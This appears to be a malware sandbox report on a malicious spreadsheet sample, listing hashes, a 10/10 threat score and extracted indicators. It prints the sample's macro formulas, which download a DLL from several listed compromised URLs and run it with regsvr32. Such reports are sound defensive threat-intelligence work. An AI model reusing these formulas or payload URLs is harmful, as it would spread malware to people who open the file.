General
-
Target
bdbe915e3b57f025f109f99463c4459773e2573a76e9a55e92142a930d6da99b
-
Size
20KB
-
Sample
241120-3h1reswjg1
-
MD5
eb6e240307081ed655ac931e76510fd1
-
SHA1
2855d8a522e16facdf958f3c89bec78e4c743ac7
-
SHA256
bdbe915e3b57f025f109f99463c4459773e2573a76e9a55e92142a930d6da99b
-
SHA512
72361d8bca6c3e60ad709eb69b921606f987441e951ad86d9c2009d861b0240aff2be86fae0d7903bd6b366efc6a0ef136a563f21e2347572a480dccbbcc35bb
-
SSDEEP
384:2KAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:2KYINmo4FLyCBn9kC+xbLA
Malware Config
Extracted
https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/
http://festival.artdialog.ch/contact/RGhcwH4DRBM/
http://bramynapilota.com.pl/wp-admin/NHk/
http://brwconsultoria.com.br/img/Vl0i9o/
http://buildershyper.co.za/s6Oe/
http://business-tailor.nl/ww12/Kz7GjU/
https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/","..\kytk.dll",0,0) =IF('SCWVCV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://festival.artdialog.ch/contact/RGhcwH4DRBM/","..\kytk.dll",0,0)) =IF('SCWVCV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bramynapilota.com.pl/wp-admin/NHk/","..\kytk.dll",0,0)) =IF('SCWVCV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brwconsultoria.com.br/img/Vl0i9o/","..\kytk.dll",0,0)) =IF('SCWVCV'!D20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buildershyper.co.za/s6Oe/","..\kytk.dll",0,0)) =IF('SCWVCV'!D22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://business-tailor.nl/ww12/Kz7GjU/","..\kytk.dll",0,0)) =IF('SCWVCV'!D24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://eephysiotherapy.co.uk/blog/mn1d1JScv1CIg4aTy/","..\kytk.dll",0,0)) =IF('SCWVCV'!D26<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\kytk.dll") =RETURN()
Extracted
https://www.manchesterslt.co.uk/a-to-z-of-slt/9wq2ESVcG/
http://festival.artdialog.ch/contact/RGhcwH4DRBM/
http://bramynapilota.com.pl/wp-admin/NHk/
http://brwconsultoria.com.br/img/Vl0i9o/
Targets
-
-
Target
bdbe915e3b57f025f109f99463c4459773e2573a76e9a55e92142a930d6da99b
-
Size
20KB
-
MD5
eb6e240307081ed655ac931e76510fd1
-
SHA1
2855d8a522e16facdf958f3c89bec78e4c743ac7
-
SHA256
bdbe915e3b57f025f109f99463c4459773e2573a76e9a55e92142a930d6da99b
-
SHA512
72361d8bca6c3e60ad709eb69b921606f987441e951ad86d9c2009d861b0240aff2be86fae0d7903bd6b366efc6a0ef136a563f21e2347572a480dccbbcc35bb
-
SSDEEP
384:2KAVb1GNjYTo4CGzPd6ZIwL0AOKb5CzgObff9kC+xbX7jvIv:2KYINmo4FLyCBn9kC+xbLA
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-